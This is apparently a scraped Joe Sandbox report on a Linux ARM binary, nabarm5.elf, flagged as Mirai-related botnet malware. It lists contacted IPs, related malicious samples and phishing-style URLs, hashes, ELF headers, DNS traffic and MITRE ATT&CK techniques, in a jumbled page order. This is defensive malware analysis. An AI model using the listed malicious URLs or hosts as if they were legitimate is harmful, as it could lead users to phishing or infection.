128.167.147.146	unknown	United States	1811	CSC-300-AS1810-AS1815US	false
48.27.230.214	unknown	United States	2686	ATGS-MMD-ASUS	false
39.137.186.55	unknown	China	24445	CMNET-V4HENAN-AS-APHenanMobileCommunicationsCoLtdCN	false
50.207.229.205	unknown	United States	7922	COMCAST-7922US	false
26.181.152.240	unknown	United States	7922	COMCAST-7922US	false
16.85.133.129	unknown	United States	unknown	unknown	false
171.86.237.172	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
39.219.219.104	unknown	Indonesia	23693	TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	false
70.22.31.227	unknown	United States	701	UUNETUS	false
205.157.23.233	unknown	United States	6629	NOAA-ASUS	false
44.1.14.15	unknown	United States	7377	UCSDUS	false
20.119.93.174	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
79.7.7.237	unknown	Italy	3269	ASN-IBSNAZIT	false
60.63.170.248	unknown	China	9812	CNNIC-CN-COLNETOrientalCableNetworkCoLtdCN	false
72.148.96.213	unknown	United States	7018	ATT-INTERNET4US	false
86.85.5.80	unknown	Netherlands	1136	KPNKPNNationalEU	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ohlookthereismyboats.geek	splmips.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
	jklmpsl.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	jklmips.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	arm.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	jklarm7.elf	Get hash	malicious	Unknown	Browse	193.143.1.116
	jklsh4.elf	Get hash	malicious	Unknown	Browse	159.89.101.70
	arm5.elf	Get hash	malicious	Unknown	Browse	64.227.79.152
	nabspc.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	splspc.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	nklx86.elf	Get hash	malicious	Unknown	Browse	159.89.101.70

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AISTTogliattiRussiaRU	nklspc.elf	Get hash	malicious	Unknown	Browse	109.226.104.51
	sh4.elf	Get hash	malicious	Unknown	Browse	5.28.25.16
	arm4.elf	Get hash	malicious	Mirai	Browse	85.114.179.192
	sora.spc.elf	Get hash	malicious	Mirai	Browse	213.178.45.76
	sora.arm.elf	Get hash	malicious	Mirai	Browse	85.114.183.207
	wanna.mpsl.elf	Get hash	malicious	Mirai	Browse	213.178.45.98
	res.ppc.elf	Get hash	malicious	Unknown	Browse	213.178.57.41
	Fantazy.arm7.elf	Get hash	malicious	Mirai	Browse	81.177.222.184
	loligang.mpsl.elf	Get hash	malicious	Mirai	Browse	81.28.188.9
	W6Z9uSRsKQ.elf	Get hash	malicious	Unknown	Browse	5.28.25.46
LILLY-ASUS	resgod.arm5.elf	Get hash	malicious	Mirai	Browse	42.139.61.250
	resgod.sh4.elf	Get hash	malicious	Mirai	Browse	40.202.132.7
	k86m.elf	Get hash	malicious	Mirai	Browse	40.17.199.130
	https://pfveo.cn/eccjaspenjta/	Get hash	malicious	Unknown	Browse	43.133.196.152
	https://qvhtg.cn/youauejjapenmta/	Get hash	malicious	Unknown	Browse	43.133.196.152
	https://commercialmortgagealert.com/login	Get hash	malicious	Unknown	Browse	43.163.237.218
	https://barbaraconnollyassociates.com/login	Get hash	malicious	Unknown	Browse	43.163.237.218
	https://inkton.xyz	Get hash	malicious	Unknown	Browse	43.159.104.9
	https://tetrachloroethyle.wutongqi.com/wUXGqG9Y/	Get hash	malicious	Unknown	Browse	43.135.19.180
	https://wisconsinelderlawattorneys.com/rukatenlogin	Get hash	malicious	Unknown	Browse	43.163.231.60
KABELFOONDELTAFiberNederlandNL	nklarm.elf	Get hash	malicious	Unknown	Browse	62.45.225.220
	1isequal9.x86_64.elf	Get hash	malicious	Unknown	Browse	163.159.213.123
	splx86.elf	Get hash	malicious	Unknown	Browse	163.158.165.122
	SecuriteInfo.com.Linux.Siggen.9999.29638.19390.elf	Get hash	malicious	Unknown	Browse	163.158.117.235
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	159.180.12.34
	res.m68k.elf	Get hash	malicious	Unknown	Browse	62.45.225.206
	Hgf.x86.elf	Get hash	malicious	Mirai	Browse	163.158.17.4
	res.x86.elf	Get hash	malicious	Unknown	Browse	163.158.165.111
	nklppc.elf	Get hash	malicious	Unknown	Browse	62.45.225.248
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	62.45.21.188

Process:	/tmp/nabarm5.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	248
Entropy (8bit):	3.2626582186078585
Encrypted:	false
SSDEEP:	6:AVceFXwj/V/ceFXrZvCY/VjmsVot/VOArB/VH:AqeG6eal
MD5:	8A0D61C400D57B88BCDD02BF5EEE901C
SHA1:	B7DB3F0119009D394F28914280A778B10A52AD1F
SHA-256:	E7C5FB1E4385D82FFEC5F31FB113E38B01C6F7104ED9D0C81E6B57BA16B05E98
SHA-512:	74BFDC8A0D97CC914E12CDF5D836277B2F2C5F06D06408D9EBB8E48028CB88866A7331C644316A9DAECFA8D8CF151D762226A13658AB1D9B2B05EEE7E5712D33
Malicious:	false
Reputation:	low
Preview:	8000-13000 r-xp 00000000 fd:00 531567 /tmp/..1a000-1b000 rw-p 0000a000 fd:00 531567 /tmp/..1b000-1d000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

Source: nabarm5.elf	Virustotal: Detection: 28%			Perma Link
Source: nabarm5.elf	ReversingLabs: Detection: 30%

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.056988400220374
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	nabarm5.elf
File size:	42'460 bytes
MD5:	5bb49e8af8e266d807e30d1361da6f3a
SHA1:	be0f5cb88a09051245207147c5a23112135e72cf
SHA256:	ab79176ab34c50a57366c4f304324fc6aa1eb88d01f3095de03be4cb4d6e1111
SHA512:	ad564271d7ffc7e8a1d35b9fb2e5032a6e8375a1925ea13c869ff7a92e141918250a4c0bb327b3222ac5fa29dcf7f7a86760761fddecdc15a79634f1f0f59321
SSDEEP:	768:4wACtpMpoFH0ED+YLHdrkI1kbNBhy6OVP9NfWeOWGwXPbbBR:wCtSZW+Sdr3chROVjvOWXPbbBR
TLSH:	E513E785F992CA97C5D591B7BA0F82DD772213E8D2EE33039D146F553A8B82B0E6F140
File Content Preview:	.ELF...a..........(.........4...$.......4. ...(......................................... ... ... .......D...........Q.td..................................-...L."....$..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x2
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	42020
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x9270	0x0	0x6	AX	16
.fini	PROGBITS	0x11320	0x9320	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x11334	0x9334	0xee6	0x0	0x2	A	4
.ctors	PROGBITS	0x1a220	0xa220	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1a228	0xa228	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x1a230	0xa230	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x1a234	0xa234	0x1ac	0x0	0x3	WA	4
.bss	NOBITS	0x1a3e0	0xa3e0	0x1284	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xa3e0	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0xa21a	0xa21a	6.1017	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0xa220	0x1a220	0x1a220	0x1c0	0x1444	2.2948	0x6	RW	0x8000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 19, 2025 19:28:10.095592976 CET	45407	53	192.168.2.13	51.158.108.203
Mar 19, 2025 19:28:10.110856056 CET	53	45407	51.158.108.203	192.168.2.13
Mar 19, 2025 19:28:21.332386017 CET	36420	53	192.168.2.13	185.181.61.24
Mar 19, 2025 19:28:21.367974043 CET	53	36420	185.181.61.24	192.168.2.13
Mar 19, 2025 19:28:32.971708059 CET	37003	53	192.168.2.13	185.181.61.24
Mar 19, 2025 19:28:33.008455992 CET	53	37003	185.181.61.24	192.168.2.13
Mar 19, 2025 19:28:33.010409117 CET	45762	53	192.168.2.13	185.181.61.24
Mar 19, 2025 19:28:33.046732903 CET	53	45762	185.181.61.24	192.168.2.13
Mar 19, 2025 19:28:33.047779083 CET	38793	53	192.168.2.13	185.181.61.24
Mar 19, 2025 19:28:33.083417892 CET	53	38793	185.181.61.24	192.168.2.13
Mar 19, 2025 19:28:33.085014105 CET	37452	53	192.168.2.13	185.181.61.24
Mar 19, 2025 19:28:33.120558977 CET	53	37452	185.181.61.24	192.168.2.13
Mar 19, 2025 19:28:33.121928930 CET	36448	53	192.168.2.13	185.181.61.24
Mar 19, 2025 19:28:33.159394979 CET	53	36448	185.181.61.24	192.168.2.13
Mar 19, 2025 19:28:44.733311892 CET	59860	53	192.168.2.13	51.158.108.203
Mar 19, 2025 19:28:44.748400927 CET	53	59860	51.158.108.203	192.168.2.13
Mar 19, 2025 19:28:56.317526102 CET	59778	53	192.168.2.13	202.61.197.122
Mar 19, 2025 19:28:56.334827900 CET	53	59778	202.61.197.122	192.168.2.13
Mar 19, 2025 19:28:56.335758924 CET	60395	53	192.168.2.13	202.61.197.122
Mar 19, 2025 19:28:56.353630066 CET	53	60395	202.61.197.122	192.168.2.13
Mar 19, 2025 19:28:56.354677916 CET	41210	53	192.168.2.13	202.61.197.122
Mar 19, 2025 19:28:56.372576952 CET	53	41210	202.61.197.122	192.168.2.13
Mar 19, 2025 19:28:56.373428106 CET	37092	53	192.168.2.13	202.61.197.122
Mar 19, 2025 19:28:56.391352892 CET	53	37092	202.61.197.122	192.168.2.13
Mar 19, 2025 19:28:56.392134905 CET	49169	53	192.168.2.13	202.61.197.122
Mar 19, 2025 19:28:56.411056995 CET	53	49169	202.61.197.122	192.168.2.13
Mar 19, 2025 19:29:07.973498106 CET	60698	53	192.168.2.13	202.61.197.122
Mar 19, 2025 19:29:07.991234064 CET	53	60698	202.61.197.122	192.168.2.13
Mar 19, 2025 19:29:19.545583963 CET	60792	53	192.168.2.13	81.169.136.222
Mar 19, 2025 19:29:19.575040102 CET	53	60792	81.169.136.222	192.168.2.13
Mar 19, 2025 19:29:19.576451063 CET	53296	53	192.168.2.13	81.169.136.222
Mar 19, 2025 19:29:19.606074095 CET	53	53296	81.169.136.222	192.168.2.13
Mar 19, 2025 19:29:19.608099937 CET	54047	53	192.168.2.13	81.169.136.222
Mar 19, 2025 19:29:19.637398005 CET	53	54047	81.169.136.222	192.168.2.13
Mar 19, 2025 19:29:19.639260054 CET	42842	53	192.168.2.13	81.169.136.222
Mar 19, 2025 19:29:19.668570042 CET	53	42842	81.169.136.222	192.168.2.13
Mar 19, 2025 19:29:19.669656992 CET	48890	53	192.168.2.13	81.169.136.222
Mar 19, 2025 19:29:19.698977947 CET	53	48890	81.169.136.222	192.168.2.13
Mar 19, 2025 19:29:30.907363892 CET	49791	53	192.168.2.13	81.169.136.222
Mar 19, 2025 19:29:30.936798096 CET	53	49791	81.169.136.222	192.168.2.13
Mar 19, 2025 19:29:30.938246012 CET	43988	53	192.168.2.13	81.169.136.222
Mar 19, 2025 19:29:30.967423916 CET	53	43988	81.169.136.222	192.168.2.13
Mar 19, 2025 19:29:30.969018936 CET	38632	53	192.168.2.13	81.169.136.222
Mar 19, 2025 19:29:30.998194933 CET	53	38632	81.169.136.222	192.168.2.13
Mar 19, 2025 19:29:30.999583006 CET	49675	53	192.168.2.13	81.169.136.222
Mar 19, 2025 19:29:31.028734922 CET	53	49675	81.169.136.222	192.168.2.13
Mar 19, 2025 19:29:31.030245066 CET	58030	53	192.168.2.13	81.169.136.222
Mar 19, 2025 19:29:31.059524059 CET	53	58030	81.169.136.222	192.168.2.13
Mar 19, 2025 19:29:43.636432886 CET	37132	53	192.168.2.13	168.235.111.72
Mar 19, 2025 19:29:43.729304075 CET	53	37132	168.235.111.72	192.168.2.13
Mar 19, 2025 19:29:55.306663990 CET	36738	53	192.168.2.13	202.61.197.122
Mar 19, 2025 19:29:55.324116945 CET	53	36738	202.61.197.122	192.168.2.13
Mar 19, 2025 19:30:06.901529074 CET	49162	53	192.168.2.13	185.181.61.24
Mar 19, 2025 19:30:06.937223911 CET	53	49162	185.181.61.24	192.168.2.13

Start time (UTC):	18:28:05
Start date (UTC):	19/03/2025
Path:	/tmp/nabarm5.elf
Arguments:	/tmp/nabarm5.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	18:28:07
Start date (UTC):	19/03/2025
Path:	/tmp/nabarm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	18:28:08
Start date (UTC):	19/03/2025
Path:	/tmp/nabarm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report nabarm5.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0wBdml (deleted)

/tmp/qemu-open.2Glq0n (deleted)

/tmp/qemu-open.41cXco (deleted)

/tmp/qemu-open.49w83m (deleted)

/tmp/qemu-open.4kwuBn (deleted)

/tmp/qemu-open.5GxjDn (deleted)

/tmp/qemu-open.61PUkp (deleted)

/tmp/qemu-open.6Zrxfm (deleted)

/tmp/qemu-open.7OSLun (deleted)

/tmp/qemu-open.8ykqkl (deleted)

/tmp/qemu-open.9DKFzo (deleted)

/tmp/qemu-open.A0IDnl (deleted)

/tmp/qemu-open.C4LF0o (deleted)

/tmp/qemu-open.CsWUSm (deleted)

/tmp/qemu-open.ESyiao (deleted)

/tmp/qemu-open.El9i6n (deleted)

/tmp/qemu-open.Fbg87o (deleted)

/tmp/qemu-open.FtLlBo (deleted)

/tmp/qemu-open.Gs4Vgp (deleted)

/tmp/qemu-open.GzR2dm (deleted)

/tmp/qemu-open.HCY8gn (deleted)

/tmp/qemu-open.HpniCn (deleted)

/tmp/qemu-open.IjdUlo (deleted)

/tmp/qemu-open.KXAjtn (deleted)

/tmp/qemu-open.LCjrnn (deleted)

/tmp/qemu-open.LFnRSm (deleted)

/tmp/qemu-open.LgZFIm (deleted)

/tmp/qemu-open.Sjca2m (deleted)

/tmp/qemu-open.T1grKl (deleted)

/tmp/qemu-open.TkWHzl (deleted)

/tmp/qemu-open.UOT5On (deleted)

/tmp/qemu-open.VSz55o (deleted)

/tmp/qemu-open.VTva5l (deleted)

/tmp/qemu-open.VW3ZNp (deleted)

/tmp/qemu-open.VzGr8n (deleted)

Linux Analysis Report
nabarm5.elf